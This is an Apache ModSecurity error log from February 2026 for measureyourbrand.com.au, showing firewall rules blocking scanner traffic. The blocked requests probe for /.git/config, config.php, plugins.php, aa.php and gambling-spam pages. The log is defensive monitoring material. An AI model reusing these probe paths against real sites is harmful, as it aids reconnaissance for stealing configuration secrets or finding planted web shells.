[Wed Feb 11 10:11:33.611097 2026] [:error] [pid 22569:tid 22579] [client 54.37.252.46:60596] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aYvlVcAhSI7iX9G3eniYJgAAAYY"]
[Wed Feb 11 10:11:36.270831 2026] [:error] [pid 22569:tid 22595] [client 54.37.252.46:60608] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aYvlWMAhSI7iX9G3eniYKQAAAZY"]
[Wed Feb 11 10:11:39.036823 2026] [:error] [pid 17401:tid 17423] [client 54.37.252.46:60616] [client 54.37.252.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aYvlWw0lHeayTY40t37aZAAAARQ"]
[Wed Feb 11 10:26:54.830279 2026] [:error] [pid 27964:tid 27992] [client 43.155.129.131:42276] [client 43.155.129.131] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aYvo7sp0XgWYHLcQtEgU7QAAABE"]
[Wed Feb 11 12:00:39.785348 2026] [:error] [pid 22570:tid 22612] [client 170.64.155.56:52642] [client 170.64.155.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aYv-5yE5uSe043FXwQr0JAAAAcw"]
[Wed Feb 11 12:00:41.527500 2026] [:error] [pid 22537:tid 22539] [client 170.64.155.56:58642] [client 170.64.155.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aYv-6Sfg2TagwM3bvQOGRAAAAUA"]
[Wed Feb 11 15:51:30.447138 2026] [ssl:error] [pid 27965:tid 28009] [client 107.172.58.36:48582] AH02032: Hostname measureyourbrand.com provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup, referer: http://measureyourbrand.com/
[Wed Feb 11 17:42:55.348364 2026] [:error] [pid 22570:tid 22621] [client 43.164.196.57:37558] [client 43.164.196.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYxPHyE5uSe043FXwQpLywAAAdU"]
[Wed Feb 11 17:53:58.374501 2026] [:error] [pid 28073:tid 28082] [client 159.203.103.52:35372] [client 159.203.103.52] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aYxRtoeHYIlOlF-DsMyeRgAAAMc"]
[Wed Feb 11 17:53:59.814591 2026] [:error] [pid 28073:tid 28077] [client 159.203.103.52:53812] [client 159.203.103.52] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aYxRt4eHYIlOlF-DsMyeTAAAAMI"]
[Wed Feb 11 18:01:13.708808 2026] [:error] [pid 28073:tid 28090] [client 51.75.116.205:48552] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aYxTaYeHYIlOlF-DsMyhyAAAAM8"]
[Wed Feb 11 18:01:16.293632 2026] [:error] [pid 27965:tid 28026] [client 51.75.116.205:43340] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aYxTbNHLAUAIo8qpZyE8EQAAAFc"]
[Wed Feb 11 18:01:18.807964 2026] [:error] [pid 27966:tid 28049] [client 51.75.116.205:43348] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYxTbl8HJ9ydyf0SPu6RgQAAAJM"]
[Wed Feb 11 18:01:21.268472 2026] [:error] [pid 27964:tid 27986] [client 51.75.116.205:43356] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYxTccp0XgWYHLcQtEi0TgAAAAs"]
[Wed Feb 11 18:01:24.156698 2026] [:error] [pid 27964:tid 27996] [client 51.75.116.205:43358] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYxTdMp0XgWYHLcQtEi0VAAAABU"]
[Wed Feb 11 18:01:26.635065 2026] [:error] [pid 17401:tid 17413] [client 51.75.116.205:39034] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYxTdg0lHeayTY40t35J1gAAAQo"]
[Wed Feb 11 18:01:29.220483 2026] [:error] [pid 27966:tid 28036] [client 51.75.116.205:39036] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYxTeV8HJ9ydyf0SPu6RkwAAAIY"]
[Wed Feb 11 18:01:31.736949 2026] [:error] [pid 22570:tid 22618] [client 51.75.116.205:39040] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYxTeyE5uSe043FXwQpQwQAAAdI"]
[Wed Feb 11 18:01:34.129413 2026] [:error] [pid 27964:tid 27995] [client 51.75.116.205:39050] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aYxTfsp0XgWYHLcQtEi0agAAABQ"]
[Wed Feb 11 18:01:36.518760 2026] [:error] [pid 17401:tid 17418] [client 51.75.116.205:35894] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aYxTgA0lHeayTY40t35J6AAAAQ8"]
[Wed Feb 11 18:01:38.947585 2026] [:error] [pid 28073:tid 28077] [client 51.75.116.205:35900] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aYxTgoeHYIlOlF-DsMyh4wAAAMI"]
[Wed Feb 11 18:01:41.338709 2026] [:error] [pid 27965:tid 28011] [client 51.75.116.205:35916] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aYxThdHLAUAIo8qpZyE8MAAAAEg"]
[Wed Feb 11 18:01:43.695508 2026] [:error] [pid 27966:tid 28034] [client 51.75.116.205:35920] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aYxTh18HJ9ydyf0SPu6RowAAAIQ"]
[Wed Feb 11 18:01:46.150127 2026] [:error] [pid 27966:tid 28040] [client 51.75.116.205:49036] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aYxTil8HJ9ydyf0SPu6RpwAAAIo"]
[Wed Feb 11 18:01:48.594633 2026] [:error] [pid 22537:tid 22560] [client 51.75.116.205:49042] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aYxTjCfg2TagwM3bvQPcBQAAAVU"]
[Wed Feb 11 18:01:51.009825 2026] [:error] [pid 22570:tid 22613] [client 51.75.116.205:49050] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYxTjyE5uSe043FXwQpQ0wAAAc0"]
[Wed Feb 11 18:01:53.623798 2026] [:error] [pid 27964:tid 27990] [client 51.75.116.205:49054] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aYxTkcp0XgWYHLcQtEi0jgAAAA8"]
[Wed Feb 11 18:01:56.228026 2026] [:error] [pid 27966:tid 28037] [client 51.75.116.205:38404] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aYxTlF8HJ9ydyf0SPu6RsgAAAIc"]
[Wed Feb 11 18:01:58.686759 2026] [:error] [pid 22537:tid 22556] [client 51.75.116.205:38420] [client 51.75.116.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aYxTlifg2TagwM3bvQPcGQAAAVE"]
[Wed Feb 11 22:02:10.094410 2026] [:error] [pid 28073:tid 28082] [client 159.203.103.52:59964] [client 159.203.103.52] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aYyL4oeHYIlOlF-DsMwFSAAAAMc"]
[Wed Feb 11 22:02:15.382470 2026] [:error] [pid 27966:tid 28034] [client 159.203.103.52:35350] [client 159.203.103.52] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aYyL518HJ9ydyf0SPu7SNAAAAIQ"]
[Wed Feb 11 22:18:30.199101 2026] [:error] [pid 28073:tid 28079] [client 43.157.174.69:58192] [client 43.157.174.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aYyPtoeHYIlOlF-DsMwL4QAAAMQ"]
[Wed Feb 11 23:08:33.756010 2026] [:error] [pid 22537:tid 22547] [client 20.107.195.240:35832] [client 20.107.195.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.info.php"] [unique_id "aYybcSfg2TagwM3bvQMd7AAAAUg"]
[Wed Feb 11 23:08:35.226209 2026] [:error] [pid 27965:tid 28008] [client 20.107.195.240:31527] [client 20.107.195.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.info.php"] [unique_id "aYybc9HLAUAIo8qpZyGKqgAAAEU"]
[Wed Feb 11 23:08:40.487284 2026] [:error] [pid 27964:tid 27982] [client 20.107.195.240:58763] [client 20.107.195.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins.php"] [unique_id "aYybeMp0XgWYHLcQtEgOuAAAAAc"]
[Wed Feb 11 23:08:41.956853 2026] [:error] [pid 28073:tid 28091] [client 20.107.195.240:59081] [client 20.107.195.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins.php"] [unique_id "aYybeYeHYIlOlF-DsMwdRQAAANA"]
[Wed Feb 11 23:08:42.933824 2026] [:error] [pid 22569:tid 22593] [client 20.107.195.240:59108] [client 20.107.195.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins.php"] [unique_id "aYybesAhSI7iX9G3enhXowAAAZQ"]
[Wed Feb 11 23:08:45.121907 2026] [:error] [pid 27966:tid 28040] [client 20.107.195.240:25326] [client 20.107.195.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins.php"] [unique_id "aYybfV8HJ9ydyf0SPu7ghgAAAIo"]
[Wed Feb 11 23:08:54.963959 2026] [:error] [pid 22569:tid 22593] [client 20.107.195.240:30305] [client 20.107.195.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "aYybhsAhSI7iX9G3enhXqwAAAZQ"]
[Wed Feb 11 23:09:02.603783 2026] [:error] [pid 22537:tid 22548] [client 20.107.195.240:32774] [client 20.107.195.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aYybjifg2TagwM3bvQMeBwAAAUk"]
[Wed Feb 11 23:09:06.343994 2026] [:error] [pid 27964:tid 27985] [client 20.107.195.240:3742] [client 20.107.195.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aYybksp0XgWYHLcQtEgO0AAAAAo"]
[Wed Feb 11 23:09:08.438968 2026] [:error] [pid 27965:tid 28014] [client 20.107.195.240:30873] [client 20.107.195.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aYyblNHLAUAIo8qpZyGKwAAAAEs"]
[Wed Feb 11 23:09:10.818499 2026] [:error] [pid 22569:tid 22591] [client 20.107.195.240:32135] [client 20.107.195.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aYyblsAhSI7iX9G3enhXtQAAAZI"]
[Wed Feb 11 23:09:11.487297 2026] [:error] [pid 22537:tid 22559] [client 20.107.195.240:59573] [client 20.107.195.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aYyblyfg2TagwM3bvQMeDgAAAVQ"]
[Wed Feb 11 23:09:13.679858 2026] [:error] [pid 17401:tid 17427] [client 20.107.195.240:48258] [client 20.107.195.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aYybmQ0lHeayTY40t36KwwAAARg"]
[Thu Feb 12 01:40:59.653621 2026] [:error] [pid 49180:tid 49185] [client 136.113.193.208:49867] [client 136.113.193.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.113.193.208, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aYy_K3D8wAezUtqGiU5ovAAAAUM"]
[Thu Feb 12 01:41:00.201175 2026] [:error] [pid 49094:tid 49149] [client 136.113.193.208:57749] [client 136.113.193.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aYy_LOUgUVJo2a1h94XFBgAAANc"]
[Thu Feb 12 01:41:00.360164 2026] [:error] [pid 49180:tid 49195] [client 136.113.193.208:49867] [client 136.113.193.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "aYy_LHD8wAezUtqGiU5ovwAAAU0"]
[Thu Feb 12 02:30:57.171115 2026] [:error] [pid 59768:tid 59779] [client 182.42.111.156:52109] [client 182.42.111.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYzK4S1wUqEWhF_w6UG54gAAAAk"]
[Thu Feb 12 04:03:43.543387 2026] [:error] [pid 29368:tid 29389] [client 51.75.119.69:36800] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aYzgn9NsoKUOH6cSt82JcgAAARM"]
[Thu Feb 12 04:03:47.394665 2026] [:error] [pid 57641:tid 57665] [client 51.75.119.69:44962] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aYzgo3EGAHJopH5xQFwgyQAAANU"]
[Thu Feb 12 04:03:50.620653 2026] [:error] [pid 57532:tid 57565] [client 51.75.119.69:44968] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aYzgpofDW9Kql6FLJIMz_wAAABc"]
[Thu Feb 12 04:03:54.754286 2026] [:error] [pid 57533:tid 57591] [client 51.75.119.69:44982] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aYzgqsBMbk5EwuXt4Ze7GwAAAE8"]
[Thu Feb 12 04:03:57.138032 2026] [:error] [pid 57532:tid 57547] [client 51.75.119.69:35108] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aYzgrYfDW9Kql6FLJIM0BgAAAAU"]
